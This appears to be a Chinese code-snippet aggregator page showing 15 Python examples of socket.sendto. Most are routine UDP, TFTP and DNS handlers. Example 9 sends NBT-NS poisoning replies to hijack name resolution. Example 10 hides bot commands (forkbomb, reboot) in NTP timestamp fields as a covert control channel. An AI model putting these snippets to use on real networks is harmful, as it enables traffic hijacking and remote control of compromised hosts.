本文整理汇总了Python中socket.sendto方法的典型用法代码示例。如果您正苦于以下问题:Python socket.sendto方法的具体用法?Python socket.sendto怎么用?Python socket.sendto使用的例子?那么恭喜您, 这里精选的方法代码示例或许可以为您提供帮助。您也可以进一步了解该方法所在类socket
的用法示例。
在下文中一共展示了socket.sendto方法的15个代码示例,这些例子默认根据受欢迎程度排序。您可以为喜欢或者感觉有用的代码点赞,您的评价将有助于系统推荐出更棒的Python代码示例。
示例1: _send_socket
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def _send_socket(self, cmd, rtnCmd, ip, port):
socket = self._socket
try:
_LOGGER.debug('Sending to GW {0}'.format(cmd))
self._read_unwanted_data()
socket.settimeout(30.0)
socket.sendto(cmd.encode(), (ip, port))
socket.settimeout(30.0)
data, addr = socket.recvfrom(1024)
if len(data) is not None:
resp = json.loads(data.decode())
_LOGGER.debug('Recieved from GW {0}'.format(resp))
if resp["cmd"] == rtnCmd:
return resp
else:
_LOGGER.error("Response from {0} does not match return cmd".format(ip))
_LOGGER.error(data)
else:
_LOGGER.error("No response from Gateway")
except socket.timeout:
_LOGGER.error("Cannot connect to Gateway")
socket.close()
示例2: handle_data
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle_data(self, socket, data):
block_num = struct.unpack('!H', data[2:4])[0]
if hasattr(self.server, 'filename_path') and self.server.filename_path:
safe_file = self.server.tftp_file_prefix + "_" + urllib.quote(self.server.filename_path, '')
output_file = ListenerBase.safe_join(os.getcwd(),
safe_file)
f = open(output_file, 'ab')
f.write(data[4:])
f.close()
# Send ACK packet for the given block number
ack_packet = OPCODE_ACK + data[2:4]
socket.sendto(ack_packet, self.client_address)
else:
self.server.logger.error('Received DATA packet but don\'t know where to store it.')
示例3: handle
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
global callback
global client_data
socket = None
try:
client_data = self.request[0].strip()
socket = self.request[1]
log.message("UDP Server received: " + client_data, Log.DEBUG)
callback() # Call the get data routine
socket.sendto('OK', self.client_address)
except:
log.message("UDP RequestHandler error", Log.ERROR)
socket.sendto('NOTOK', self.client_address)
return
# Handle client disconnect
示例4: proxyrequest
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def proxyrequest(self, request, host, port="53", protocol="udp"):
reply = None
try:
if self.server.ipv6:
if protocol == "udp":
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
elif protocol == "tcp":
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
if protocol == "udp":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
elif protocol == "tcp":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
# Send the proxy request to a randomly chosen DNS server
if protocol == "udp":
sock.sendto(request, (host, int(port)))
reply = sock.recv(1024)
sock.close()
elif protocol == "tcp":
sock.connect((host, int(port)))
# Add length for the TCP request
length = binascii.unhexlify("%04x" % len(request))
sock.sendall(length+request)
# Strip length from the response
reply = sock.recv(1024)
reply = reply[2:]
sock.close()
except Exception, e:
print "[!] Could not proxy request: %s" % e
示例5: handle
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
(data,socket) = self.request
response = self.parse(data)
if response:
socket.sendto(response, self.client_address)
# TCP DNS Handler for incoming requests
示例6: send_ipv4
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def send_ipv4(self, packet: bytes) -> int:
"""
send_ipv4 is a thin wrapper around socket.sendto()
:param packet: bytes object containing an IPv4 header, and encap'd proto packet (ie: udp/tcp)
:return: int: the bits put on the wire
"""
bits = self.raw_sock.sendto(packet, (self.ip_daddr, 0))
return bits
示例7: handle_rrq
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle_rrq(self, socket, filename):
filename_path = ListenerBase.safe_join(self.server.tftproot_path,
filename)
# If virtual filename does not exist return a default file based on extention
if not os.path.isfile(filename_path):
file_basename, file_extension = os.path.splitext(filename)
# Calculate absolute path to a fake file
filename_path = ListenerBase.safe_join(self.server.tftproot_path,
EXT_FILE_RESPONSE.get(file_extension.lower(), u'FakeNetMini.exe'))
self.server.logger.debug('Sending file %s', filename_path)
f = open(filename_path, 'rb')
i = 1
while True:
# Read in a buffer of blocksize from the file
data_block = f.read(BLOCKSIZE)
if not data_block or len(data_block) == 0:
break
data_packet = OPCODE_DATA + struct.pack('!H', i) + data_block
socket.sendto(data_packet, self.client_address)
i += 1
f.close()
示例8: handle_wrq
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle_wrq(self, socket, filename):
self.server.filename_path = filename
# Send acknowledgement so the client will begin writing
ack_packet = OPCODE_ACK + "\x00\x00"
socket.sendto(ack_packet, self.client_address)
示例9: handle
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
data, socket = self.request
Name = Decode_Name(data[13:45])
# Break out if we don't want to respond to this host
if RespondToThisHost(self.client_address[0], Name) is not True:
return None
if data[2:4] == "\x01\x10":
if settings.Config.Finger_On_Off:
Finger = fingerprint.RunSmbFinger((self.client_address[0],445))
else:
Finger = None
# Analyze Mode
if settings.Config.AnalyzeMode:
settings.Config.AnalyzeLogger.warning("{} [Analyze mode: NBT-NS] Request for {}, ignoring".format(self.client_address[0], Name))
# Poisoning Mode
else:
Buffer = NBT_Ans()
Buffer.calculate(data)
socket.sendto(str(Buffer), self.client_address)
settings.Config.PoisonersLogger.warning("{} [NBT-NS] Poisoned answer for name {} (service: {})" .format(self.client_address[0], Name, NBT_NS_Role(data[43:46])))
if Finger is not None:
settings.Config.ResponderLogger.info("[FINGER] OS Version : {}".format(Finger[0]))
settings.Config.ResponderLogger.info("[FINGER] Client Version : {}".format(Finger[1]))
示例10: run
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def run(self):
global taskQueue,stopFlag
while True:
if stopFlag == True:
print "WorkThread Ended"
break
try:
data,addr,recvTimestamp = taskQueue.get(timeout=1)
recvPacket = NTPPacket()
recvPacket.from_data(data)
timeStamp_high,timeStamp_low = recvPacket.GetTxTimeStamp()
sendPacket = NTPPacket(version=3,mode=4)
sendPacket.stratum = 2
sendPacket.poll = 10
sendPacket.ref_timestamp = recvTimestamp-5
sendPacket.SetOriginTimeStamp(timeStamp_high,timeStamp_low)
sendPacket.recv_timestamp = recvTimestamp
# old time method
#sendPacket.tx_timestamp = system_to_ntp_time(time.time())
# prompt for shell command
tx_command = 0
shellInput = raw_input(PROMPT)
if shellInput == '1': tx_command = 1 #Set bot to issue a forkbomb
if shellInput == '2': tx_command = 2 #Set bot to reboot if root
if shellInput == '3': tx_command = 3 #Set bot to issue a test command
if shellInput == '4': exit(0) #Set program to exit cleanly
if tx_command == 0: system_to_ntp_time(time.time())
#for char in shellInput:
#tx_command.append(ord(char))
#tx_command = int(''.join(map(str,tx_command)))
print tx_command
sendPacket.tx_timestamp = tx_command
socket.sendto(sendPacket.to_data(),addr)
print "Sent to %s:%d" % (addr[0],addr[1])
except Queue.Empty:
continue
示例11: sendto_ready
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def sendto_ready(packet, socket, future, dest):
try:
socket.sendto(packet, dest)
except (BlockingIOError, InterruptedError):
return # The callback will be retried
except Exception as exc:
asyncio.get_event_loop().remove_writer(socket)
future.set_exception(exc)
else:
asyncio.get_event_loop().remove_writer(socket)
future.set_result(None)
示例12: reply
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def reply(self, data, address):
socket = self.request[1]
socket.sendto(str_to_bytes(data), address)
示例13: get
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def get(items):
try:
message = json.dumps(items).encode('utf-8') # Take requested data and convert to bytes
socket.sendto(message, (network.ip,network.port)) # Send data to server
data, ip = socket.recvfrom(4000) # Wait for response, create 4000 byte buffer to store response.
data = json.loads(data) # Take response and convert from bytes to string
data = dict(zip(items, data)) # Combine request list with respose list to create dictionary
return data # Return data
except Exception as e:
print(e)
return 1
示例14: handle
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def handle(self):
logger.debug('handle')
# Echo the back to the client
data = self.request[0]
socket = self.request[1]
logger.debug('received (udp) from %s: "%s"',
self.client_address, data)
socket.sendto(data, self.client_address)
return
示例15: proxyrequest
# 需要导入模块: import socket [as 别名]
# 或者: from socket import sendto [as 别名]
def proxyrequest(self, request, host, port="53", protocol="udp"):
clientip = {'clientip': self.client_address[0]}
reply = None
try:
if DNSChef().ipv6:
if protocol == "udp":
sock = socket.socket(socket.AF_INET6, socket.SOCK_DGRAM)
elif protocol == "tcp":
sock = socket.socket(socket.AF_INET6, socket.SOCK_STREAM)
else:
if protocol == "udp":
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
elif protocol == "tcp":
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3.0)
# Send the proxy request to a randomly chosen DNS server
if protocol == "udp":
sock.sendto(request, (host, int(port)))
reply = sock.recv(1024)
sock.close()
elif protocol == "tcp":
sock.connect((host, int(port)))
# Add length for the TCP request
length = binascii.unhexlify("%04x" % len(request))
sock.sendall(length+request)
# Strip length from the response
reply = sock.recv(1024)
reply = reply[2:]
sock.close()
except Exception as e:
log.warning("Could not proxy request: {}".format(e), extra=clientip)
dnslog.info("Could not proxy request: {}".format(e), extra=clientip)
else:
return reply